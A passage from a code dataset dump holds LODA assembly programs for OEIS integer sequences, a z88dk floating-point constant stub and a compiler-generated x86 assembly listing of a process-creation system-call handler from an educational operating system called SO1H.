] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A047227: Numbers that are congruent to {1, 2, 3, 4} mod 6.
; 1,2,3,4,7,8,9,10,13,14,15,16,19,20,21,22,25,26,27,28,31,32,33,34,37,38,39,40,43,44,45,46,49,50,51,52,55,56,57,58,61,62,63,64,67,68,69,70,73,74,75,76,79,80,81,82,85,86,87,88,91,92,93,94,97,98,99,100,103,104,105,106,109,110,111,112,115,116,117,118,121,122,123,124,127,128,129,130,133,134,135,136,139,140,141,142,145,146,147,148
mov $1,$0
div $1,4
mul $1,2
add $0,$1
add $0,1
| 48.555556 | 327 | 0.665904 |
0c0afa7c018489f02029f8eed0518f9b60e5319f | 172 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_sqr2_2.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_sqr2_2.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_sqr2_2.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC am48_dconst_sqr2_2
EXTERN mm48__acsqr2_2
; set AC = sqrt(2)/2
;
; uses : bc, de, hl
defc am48_dconst_sqr2_2 = mm48__acsqr2_2
| 13.230769 | 40 | 0.709302 |
755b741f62638e298a726b72bb1f49363cce9411 | 1,841 | asm | Assembly | programs/oeis/131/A131066.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/131/A131066.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/131/A131066.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A131066: Binomial transform of [1, 1, 6, 6, 6, ...].
; 1,2,9,28,71,162,349,728,1491,3022,6089,12228,24511,49082,98229,196528,393131,786342,1572769,3145628,6291351,12582802,25165709,50331528,100663171,201326462,402653049,805306228,1610612591,3221225322,6442450789,12884901728,25769803611,51539607382,103079214929,206158430028,412316860231,824633720642,1649267441469,3298534883128,6597069766451,13194139533102,26388279066409,52776558133028,105553116266271,211106232532762,422212465065749,844424930131728,1688849860263691,3377699720527622,6755399441055489,13510798882111228,27021597764222711,54043195528445682,108086391056891629,216172782113783528,432345564227567331,864691128455134942,1729382256910270169,3458764513820540628,6917529027641081551,13835058055282163402,27670116110564327109,55340232221128654528,110680464442257309371,221360928884514619062,442721857769029238449,885443715538058477228,1770887431076116954791,3541774862152233909922,7083549724304467820189,14167099448608935640728,28334198897217871281811,56668397794435742563982,113336795588871485128329,226673591177742970257028,453347182355485940514431,906694364710971881029242,1813388729421943762058869,3626777458843887524118128,7253554917687775048236651,14507109835375550096473702,29014219670751100192947809,58028439341502200385896028,116056878683004400771792471,232113757366008801543585362,464227514732017603087171149,928455029464035206174342728,1856910058928070412348685891,3713820117856140824697372222,7427640235712281649394744889,14855280471424563298789490228,29710560942849126597578980911,59421121885698253195157962282,118842243771396506390315925029,237684487542793012780631850528,475368975085586025561263701531,950737950171172051122527403542,1901475900342344102245054807569,3802951800684688204490109615628
mov $1,2
pow $1,$0
sub $0,$1
mul $0,5
sub $1,$0
sub $1,5
mov $0,$1
| 167.363636 | 1,717 | 0.913634 |
942513e251e7055477901a535dc5924be6808fec | 397 | asm | Assembly | oeis/119/A119029.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/119/A119029.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/119/A119029.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A119029: Numerator of Sum_{k=1..n} n^(k-1)/k!.
; Submitted by Christian Krause
; 1,2,4,25,217,203,6743,69511,1184417,728102,5720654791,601499,4670663321629,42568060798,888330615353,15438515749903,1676770323947695709,30538296012677,16858207434636875406943
add $0,1
mov $2,1
mov $3,$0
lpb $3
mul $1,$0
mov $4,$3
add $4,1
mul $2,$4
add $1,$2
sub $3,1
lpe
gcd $2,$1
div $1,$2
mov $0,$1
| 20.894737 | 175 | 0.697733 |
3be4dca9d734235332bcef316d90a676de519453 | 80,065 | asm | Assembly | PRACT0/SO1H/asm/manej_01.asm | so1h/SO1H | 7163aa1907b7f7ab70ab022012036c4fa0482e17 | [
"BSD-2-Clause"
] | null | null | null | PRACT0/SO1H/asm/manej_01.asm | so1h/SO1H | 7163aa1907b7f7ab70ab022012036c4fa0482e17 | [
"BSD-2-Clause"
] | null | null | null | PRACT0/SO1H/asm/manej_01.asm | so1h/SO1H | 7163aa1907b7f7ab70ab022012036c4fa0482e17 | [
"BSD-2-Clause"
] | null | null | null | bits 16
; glb intptr_t : int
; glb uintptr_t : unsigned
; glb intmax_t : int
; glb uintmax_t : unsigned
; glb int8_t : signed char
; glb int_least8_t : signed char
; glb int_fast8_t : signed char
; glb uint8_t : unsigned char
; glb uint_least8_t : unsigned char
; glb uint_fast8_t : unsigned char
; glb int16_t : short
; glb int_least16_t : short
; glb int_fast16_t : short
; glb uint16_t : unsigned short
; glb uint_least16_t : unsigned short
; glb uint_fast16_t : unsigned short
; glb int32_t : int
; glb int_least32_t : int
; glb int_fast32_t : int
; glb uint32_t : unsigned
; glb uint_least32_t : unsigned
; glb uint_fast32_t : unsigned
; glb imaxdiv_t : struct <something>
; glb bool_t : int
; glb pointer_t : * unsigned char
; glb funcion_t : * (
; prm <something> : * void
; ) * void
; glb manejador_t : * (void) void
; glb rti_t : * (void) void
; glb isr_t : * (void) void
; glb handler_t : * (void) void
; glb retardarThread_t : * (void) int
; glb ptrTVI_t : * * (void) void
; glb modoSO1_t : int
; glb lh_t : struct <something>
; glb address_t : struct <something>
; glb uPtrAdr_t : union <something>
; glb pid_t : int
; glb tid_t : int
; glb uid_t : int
; glb gid_t : int
; glb pindx_t : int
; glb tindx_t : int
; glb df_t : int
; glb dfs_t : int
; glb rindx_t : int
; glb printCarVideo : (
; prm car : char
; ) int
; glb printLnVideo : (void) int
; glb printStrVideo : (
; prm str : * char
; ) int
; glb printStrHastaVideo : (
; prm str : * char
; prm n : unsigned short
; prm lleno : int
; ) int
; glb printDecVideo : (
; prm num : unsigned short
; prm l : unsigned short
; ) int
; glb printLDecVideo : (
; prm num : unsigned
; prm l : unsigned short
; ) int
; glb printIntVideo : (
; prm num : int
; prm l : unsigned short
; ) int
; glb printLIntVideo : (
; prm num : int
; prm l : unsigned short
; ) int
; glb printHexVideo : (
; prm num : unsigned short
; prm l : unsigned short
; ) int
; glb printLHexVideo : (
; prm num : unsigned
; prm l : unsigned short
; ) int
; glb printBinVideo : (
; prm num : unsigned short
; prm l : unsigned short
; ) int
; glb printLBinVideo : (
; prm num : unsigned
; prm l : unsigned short
; ) int
; glb printPtrVideo : (
; prm ptr : * unsigned char
; ) int
; glb printByteVideo : (
; prm b : unsigned char
; ) int
; glb printWordVideo : (
; prm w : unsigned short
; ) int
; glb printCadVideo : (
; prm cad : * char
; ) int
; glb modoAp_t : unsigned short
; glb tramaDWords_t : struct <something>
; glb tramaWords_t : struct <something>
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; glb tramaBytes_t : struct <something>
; glb trama_t : union <something>
; RPN'ized expression: "8 "
; Expanded expression: "8 "
; Expression value: 8
; glb bloque_t : struct <something>
; glb ptrBloque_t : * struct <something>
; glb dobleEnlace_t : struct <something>
; glb c2c_t : struct <something>
; glb posicionC2c : (
; prm i : int
; prm c2c : struct <something>
; ) int
; glb eliminarC2c : (
; prm i : int
; prm c2c : struct <something>
; ) void
; glb apilarC2c : (
; prm i : int
; prm c2c : struct <something>
; ) void
; glb encolarC2c : (
; prm i : int
; prm c2c : struct <something>
; ) void
; glb desencolarC2c : (
; prm c2c : struct <something>
; ) int
; glb inicializarC2c : (
; prm c2c : * struct <something>
; prm e : * struct <something>
; prm cabecera : int
; prm compartida : int
; ) void
; glb ptrC2c_t : * struct <something>
; glb posicionPC2c : (
; prm i : int
; prm c2c : * struct <something>
; ) int
; glb eliminarPC2c : (
; prm i : int
; prm ptrC2c : * struct <something>
; ) void
; glb apilarPC2c : (
; prm i : int
; prm ptrC2c : * struct <something>
; ) void
; glb encolarPC2c : (
; prm i : int
; prm ptrC2c : * struct <something>
; ) void
; glb desencolarPC2c : (
; prm ptrC2c : * struct <something>
; ) int
; glb inicializarPC2c : (
; prm ptrC2c : * struct <something>
; prm e : * struct <something>
; prm cabecera : int
; prm compartida : int
; ) void
; glb callBack_t : * (
; prm arg : * void
; ) int
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
; glb descCcb_t : struct <something>
; glb ccb_t : * struct <something>
; glb inicCcb : (
; prm ccb : * struct <something>
; prm max : unsigned short
; ) int
; glb encolarCcb : (
; prm cb : * (
; prm arg : * void
; ) int
; prm ccb : * struct <something>
; ) int
; glb desencolarCcb : (
; prm ccb : * struct <something>
; ) * (
; prm arg : * void
; ) int
; glb eliminarCcb : (
; prm cb : * (
; prm arg : * void
; ) int
; prm ccb : * struct <something>
; ) int
; glb eliminarSegCcb : (
; prm segmento : unsigned short
; prm ccb : * struct <something>
; ) int
; glb vaciarCcb : (
; prm ccb : * struct <something>
; ) int
; glb atenderCcb : (
; prm ccb : * struct <something>
; ) int
; glb estado_t : int
; glb dfa_t : struct <something>
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
; RPN'ized expression: "80 "
; Expanded expression: "80 "
; Expression value: 80
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
; glb descProceso_t : struct <something>
; glb descThread_t : struct <something>
; glb tipoFichero_t : int
; RPN'ized expression: "9 "
; Expanded expression: "9 "
; Expression value: 9
; glb descFichero_t : struct <something>
; glb tipoRecurso_t : int
; glb open_t : * (
; prm dfs : int
; prm modo : unsigned short
; ) int
; glb release_t : * (
; prm dfs : int
; ) int
; glb read_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb aio_read_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb write_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb aio_write_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb lseek_t : * (
; prm dfs : int
; prm pos : int
; prm whence : unsigned short
; ) int
; glb fcntl_t : * (
; prm dfs : int
; prm cmd : unsigned short
; prm arg : unsigned short
; ) int
; glb ioctl_t : * (
; prm dfs : int
; prm request : unsigned short
; prm arg : unsigned short
; ) int
; glb eliminar_t : * (
; prm pindx : int
; ) int
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; glb descRecurso_t : struct <something>
; glb info_t : struct <something>
; glb cabecera_t : struct <something>
; RPN'ized expression: "16 1 + "
; Expanded expression: "17 "
; Expression value: 17
; RPN'ized expression: "16 2 + "
; Expanded expression: "18 "
; Expression value: 18
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "2010 2 + "
; Expanded expression: "2012 "
; Expression value: 2012
; RPN'ized expression: "20 1 + "
; Expanded expression: "21 "
; Expression value: 21
; RPN'ized expression: "20 2 + "
; Expanded expression: "22 "
; Expression value: 22
; RPN'ized expression: "14 1 + "
; Expanded expression: "15 "
; Expression value: 15
; RPN'ized expression: "14 2 + "
; Expanded expression: "16 "
; Expression value: 16
; RPN'ized expression: "16 16 + "
; Expanded expression: "32 "
; Expression value: 32
; RPN'ized expression: "2010 16 + "
; Expanded expression: "2026 "
; Expression value: 2026
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "16 1 + "
; Expanded expression: "17 "
; Expression value: 17
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "20 14 + "
; Expanded expression: "34 "
; Expression value: 34
; glb e2PFR_t : struct <something>
; glb cPFR_t : int
; glb sigThread_t : * () int
; glb activarThread_t : * (
; prm tindx : int
; ) void
; glb buscarNuevoThreadActual_t : * (void) void
; glb bloquearThreadActual_t : * (
; prm rindx : int
; ) void
; glb descSO1H_t : struct <something>
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
; RPN'ized expression: "80 "
; Expanded expression: "80 "
; Expression value: 80
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
; glb descProcesoExt_t : struct <something>
; glb descThreadExt_t : struct <something>
; RPN'ized expression: "16 "
; Expanded expression: "16 "
; Expression value: 16
; glb descProceso : [16u] struct <something>
; RPN'ized expression: "2010 "
; Expanded expression: "2010 "
; Expression value: 2010
; glb descThread : [2010u] struct <something>
; RPN'ized expression: "20 "
; Expanded expression: "20 "
; Expression value: 20
; glb descFichero : [20u] struct <something>
; RPN'ized expression: "14 "
; Expanded expression: "14 "
; Expression value: 14
; glb descRecurso : [14u] struct <something>
; RPN'ized expression: "numColasPFR "
; Expanded expression: "12 "
; Expression value: 12
; glb c2cPFR : [12u] struct <something>
; glb e2PFR : struct <something>
; glb descCcbAlEpilogo : struct <something>
; glb ccbAlEpilogo : * struct <something>
; glb tramaThread : * union <something>
; glb tramaTarea : * union <something>
; glb indThreadActual : int
; glb indProcesoActual : int
; glb indThreadDeSuperficie : int
; glb contRodajas : unsigned
; glb contTicsRodaja : int
; glb contadorTimer00 : unsigned short
; glb contOcioso : int
; glb nuevoPid : (void) int
; glb nuevoTid : (void) int
; glb indice : (
; prm tid : int
; ) int
; glb sigThread : (void) int
; glb activarThread : (
; prm tindx : int
; ) int
; glb registrarEnPOrdenados : (
; prm pindx : int
; ) void
; glb crearThread : (
; prm funcion : * (
; prm <something> : * void
; ) * void
; prm SP0 : unsigned short
; prm arg : * void
; prm pindx : int
; ) int
; glb crearProceso : (
; prm segmento : unsigned short
; prm tam : unsigned short
; prm tamFich : unsigned
; prm programa : * char
; prm comando : * char
; prm pindx : int
; ) int
; glb inicProcesos : (void) void
; glb resetPids : (void) void
; glb resetTids : (void) void
; glb terminarThreadIndx : (
; prm tindx : int
; ) int
; glb eliminarThreadIndx : (
; prm tindx : int
; ) int
; glb terminarProcIndx : (
; prm pindx : int
; ) int
; glb eliminarProcIndx : (
; prm pindx : int
; ) int
; glb matarThreadIndx : (
; prm tindx : int
; ) int
; glb matarProcIndx : (
; prm pindx : int
; ) int
; glb link_procs : (void) void
; glb startBin : (void) void
; glb modoSO1 : (void) int
; glb unidadBIOS : (void) unsigned char
; glb CS_SO1H : unsigned short
; glb RO_SO1H : unsigned short
; glb DS_SO1H : unsigned short
; glb BSS_SO1H : unsigned short
; glb SS_SO1H : unsigned short
; glb SS_Kernel : unsigned short
; glb IMRInicial : unsigned short
; glb obtenerMapa : (void) void
; glb SS_Thread : unsigned short
; glb SP_Thread : unsigned short
; glb SS_Tarea : unsigned short
; glb SP_Tarea : unsigned short
; glb nivelActivacionSO1H : int
; glb nVIntActual : int
; glb enHalt : int
; glb activarAlEpilogo1 : int
; glb hayTic : int
; glb setKernelStack : (void) void
; glb setThreadStack : (
; prm SS_Thread : unsigned short
; prm SP_Thread : unsigned short
; ) void
; glb reg_DL : (void) unsigned
; glb prepararDesbloqueadosUrgentes : (void) void
; glb buscarNuevoThreadActual : (void) void
; glb bloquearThreadActual : (
; prm rindx : int
; ) void
; glb thread_attribs_t : struct <something>
; glb thread_create : (
; prm tid : * int
; prm attribs : * struct <something>
; prm funcionInicial : * * void
; prm arg : * void
; ) int
; glb thread_join : (
; prm tid : int
; prm res : * * void
; ) int
; glb thread_exit : (
; prm res : * void
; ) void
; glb thread_yield : (void) int
; glb thread_self : (void) int
; glb doKill : (
; prm pindx : int
; ) void
; glb kk_fork : (void) int
; glb preEjecutar : (
; prm nombre : * char
; prm comando : * char
; prm pindx : int
; ) int
; glb bloquearEsperandoHijo : (
; prm hpindx : int
; ) void
section .text
global _bloquearEsperandoHijo
_bloquearEsperandoHijo:
push ebp
movzx ebp, sp
;sub sp, 0
; loc hpindx : (@8): int
; RPN'ized expression: "descProceso indProcesoActual + *u &u hpindx -> *u hpindx = "
; Expanded expression: "descProceso indProcesoActual *(4) 292 * + 16 + (@8) *(4) =(4) "
; Fused expression: "descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 16 =(204) *ax *(@8) "
section .relod
dd L3
section .text
db 0x66, 0xB8
L3:
dd _descProceso
push eax
section .relod
dd L4
section .text
db 0x66, 0xB8
L4:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 16
mov ebx, eax
mov eax, [bp+8]
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : int
; RPN'ized expression: "( 1 -u (something5) bloquearThreadActual ) "
; Expanded expression: " -1 bloquearThreadActual ()4 "
; Fused expression: "( -1 , bloquearThreadActual )4 "
push dword -1
db 0x9A
section .relot
dd L6
section .text
L6:
dd _bloquearThreadActual
sub sp, -4
L1:
db 0x66
leave
retf
L7:
section .fxnsz noalloc
dd L7 - _bloquearEsperandoHijo
; glb so1_manejador_01 : (void) void
section .text
global _so1_manejador_01
_so1_manejador_01:
push ebp
movzx ebp, sp
;sub sp, 0
; loc 10 : int
section .bss
alignb 4
L10:
resb 4
section .text
; loc 11 : int
section .bss
alignb 4
L11:
resb 4
section .text
; loc 12 : int
section .bss
alignb 4
L12:
resb 4
section .text
; loc 13 : int
section .bss
alignb 4
L13:
resb 4
section .text
; loc 14 : int
section .bss
alignb 4
L14:
resb 4
section .text
; loc 15 : int
section .bss
alignb 4
L15:
resb 4
section .text
; switch
; RPN'ized expression: "tramaThread tb -> *u &u AL -> *u "
; Expanded expression: "tramaThread *(4) 0 + 32 + *(1) "
; Fused expression: "tramaThread + *ax 0 + ax 32 *(1) ax "
section .relod
dd L18
section .text
db 0x66, 0xB8
L18:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 32
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov al, [si]
movzx eax, al
jmp L17
; {
; case
; RPN'ized expression: "0 "
; Expanded expression: "0 "
; Expression value: 0
L19:
; case
; RPN'ized expression: "1 "
; Expanded expression: "1 "
; Expression value: 1
L20:
; if
; RPN'ized expression: "c2cPFR DPOcupados + *u &u numElem -> *u 16 1 - >= "
; Expanded expression: "c2cPFR 16 + 0 + *(4) 15 >= "
; Fused expression: "c2cPFR + ax 16 + ax 0 >= *ax 15 IF! "
section .relod
dd L23
section .text
db 0x66, 0xB8
L23:
dd _c2cPFR
add eax, 16
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 15
jl L21
; {
; RPN'ized expression: "tramaThread tw -> *u &u DX -> *u 10 -u = "
; Expanded expression: "tramaThread *(4) 0 + 24 + -10 =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 24 =(172) *ax -10 "
section .relod
dd L24
section .text
db 0x66, 0xB8
L24:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
mov ebx, eax
mov eax, -10
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; break
jmp L16
; }
L21:
; RPN'ized expression: "descThread indThreadActual + *u &u trama -> *u tramaThread = "
; Expanded expression: "descThread indThreadActual *(4) 40 * + 12 + tramaThread *(4) =(4) "
; Fused expression: "descThread push-ax indThreadActual * *ax 40 + *sp ax + ax 12 push-ax tramaThread =(204) **sp *ax "
section .relod
dd L25
section .text
db 0x66, 0xB8
L25:
dd _descThread
push eax
section .relod
dd L26
section .text
db 0x66, 0xB8
L26:
dd _indThreadActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
push eax
section .relod
dd L27
section .text
db 0x66, 0xB8
L27:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; if
; RPN'ized expression: "tramaThread tb -> *u &u AL -> *u 1 == "
; Expanded expression: "tramaThread *(4) 0 + 32 + *(1) 1 == "
; Fused expression: "tramaThread + *ax 0 + ax 32 == *ax 1 IF! "
section .relod
dd L30
section .text
db 0x66, 0xB8
L30:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 32
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov al, [si]
movzx eax, al
cmp eax, 1
jne L28
; RPN'ized expression: "pindx ( kk_fork ) = "
; Expanded expression: "L13 kk_fork ()0 =(4) "
; Fused expression: "L13 push-ax ( kk_fork )0 =(204) **sp ax "
section .relod
dd L31
section .text
db 0x66, 0xB8
L31:
dd L13
push eax
db 0x9A
section .relot
dd L32
section .text
L32:
dd _kk_fork
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
jmp L29
L28:
; else
; {
; loc <something> : * char
; loc <something> : unsigned
; loc <something> : unsigned short
; loc <something> : * char
; loc <something> : unsigned
; loc <something> : unsigned short
; RPN'ized expression: "pindx ( 1 -u , tramaThread tw -> *u &u ES -> *u (something37) 16 << tramaThread tw -> *u &u DX -> *u (something38) | (something36) , tramaThread tw -> *u &u CX -> *u (something34) 16 << tramaThread tw -> *u &u BX -> *u (something35) | (something33) preEjecutar ) = "
; Expanded expression: "L13 -1 tramaThread *(4) 0 + 2 + *(2) 16 << tramaThread *(4) 0 + 24 + *(2) unsigned short | tramaThread *(4) 0 + 28 + *(2) 16 << tramaThread *(4) 0 + 20 + *(2) unsigned short | preEjecutar ()12 =(4) "
; Fused expression: "L13 push-ax ( -1 , tramaThread + *ax 0 + ax 2 << *ax 16 push-ax tramaThread + *ax 0 + ax 24 *(2) ax unsigned short | *sp ax , tramaThread + *ax 0 + ax 28 << *ax 16 push-ax tramaThread + *ax 0 + ax 20 *(2) ax unsigned short | *sp ax , preEjecutar )12 =(204) **sp ax "
section .relod
dd L39
section .text
db 0x66, 0xB8
L39:
dd L13
push eax
push dword -1
section .relod
dd L40
section .text
db 0x66, 0xB8
L40:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 2
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
shl eax, 16
push eax
section .relod
dd L41
section .text
db 0x66, 0xB8
L41:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
movzx eax, ax
mov ecx, eax
pop eax
or eax, ecx
push eax
section .relod
dd L42
section .text
db 0x66, 0xB8
L42:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 28
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
shl eax, 16
push eax
section .relod
dd L43
section .text
db 0x66, 0xB8
L43:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
movzx eax, ax
mov ecx, eax
pop eax
or eax, ecx
push eax
db 0x9A
section .relot
dd L44
section .text
L44:
dd _preEjecutar
sub sp, -12
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; }
L29:
; if
; RPN'ized expression: "pindx 0 >= "
; Expanded expression: "L13 *(4) 0 >= "
; Fused expression: "L13 >= *ax 0 IF! "
section .relod
dd L47
section .text
db 0x66, 0xB8
L47:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 0
jl L45
; {
; if
; RPN'ized expression: "c2cPFR DPOcupados + *u &u numElem -> *u 16 2 - == "
; Expanded expression: "c2cPFR 16 + 0 + *(4) 14 == "
; Fused expression: "c2cPFR + ax 16 + ax 0 == *ax 14 IF! "
section .relod
dd L50
section .text
db 0x66, 0xB8
L50:
dd _c2cPFR
add eax, 16
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 14
jne L48
; {
section .rodata
L51:
db 10," solo queda un descriptor de proceso libre "
times 1 db 0
section .text
; RPN'ized expression: "( L51 printStrBIOS ) "
; Expanded expression: " L51 printStrBIOS ()4 "
; Fused expression: "( L51 , printStrBIOS )4 "
section .relod
dd L52
section .text
db 0x66, 0x68
L52:
dd L51
db 0x9A
section .relot
dd L53
section .text
L53:
dd _printStrBIOS
sub sp, -4
; }
L48:
; RPN'ized expression: "descThread pindx + *u &u estado -> *u preparado = "
; Expanded expression: "descThread L13 *(4) 40 * + 4 + 1 =(4) "
; Fused expression: "descThread push-ax L13 * *ax 40 + *sp ax + ax 4 =(204) *ax 1 "
section .relod
dd L54
section .text
db 0x66, 0xB8
L54:
dd _descThread
push eax
section .relod
dd L55
section .text
db 0x66, 0xB8
L55:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov eax, 1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : * struct <something>
; RPN'ized expression: "( c2cPFR TUrgentes + *u &u (something56) , pindx apilarPC2c ) "
; Expanded expression: " c2cPFR 80 + L13 *(4) apilarPC2c ()8 "
; Fused expression: "( c2cPFR + ax 80 , L13 *(4) ax , apilarPC2c )8 "
section .relod
dd L57
section .text
db 0x66, 0xB8
L57:
dd _c2cPFR
add eax, 80
push eax
section .relod
dd L58
section .text
db 0x66, 0xB8
L58:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L59
section .text
L59:
dd _apilarPC2c
sub sp, -8
; RPN'ized expression: "descThread indThreadActual + *u &u estado -> *u preparado = "
; Expanded expression: "descThread indThreadActual *(4) 40 * + 4 + 1 =(4) "
; Fused expression: "descThread push-ax indThreadActual * *ax 40 + *sp ax + ax 4 =(204) *ax 1 "
section .relod
dd L60
section .text
db 0x66, 0xB8
L60:
dd _descThread
push eax
section .relod
dd L61
section .text
db 0x66, 0xB8
L61:
dd _indThreadActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov eax, 1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : * struct <something>
; RPN'ized expression: "( c2cPFR TUrgentes + *u &u (something62) , indThreadActual apilarPC2c ) "
; Expanded expression: " c2cPFR 80 + indThreadActual *(4) apilarPC2c ()8 "
; Fused expression: "( c2cPFR + ax 80 , indThreadActual *(4) ax , apilarPC2c )8 "
section .relod
dd L63
section .text
db 0x66, 0xB8
L63:
dd _c2cPFR
add eax, 80
push eax
section .relod
dd L64
section .text
db 0x66, 0xB8
L64:
dd _indThreadActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L65
section .text
L65:
dd _apilarPC2c
sub sp, -8
; if
; RPN'ized expression: "tramaThread tb -> *u &u AL -> *u 1 == "
; Expanded expression: "tramaThread *(4) 0 + 32 + *(1) 1 == "
; Fused expression: "tramaThread + *ax 0 + ax 32 == *ax 1 IF! "
section .relod
dd L68
section .text
db 0x66, 0xB8
L68:
dd _tramaThread
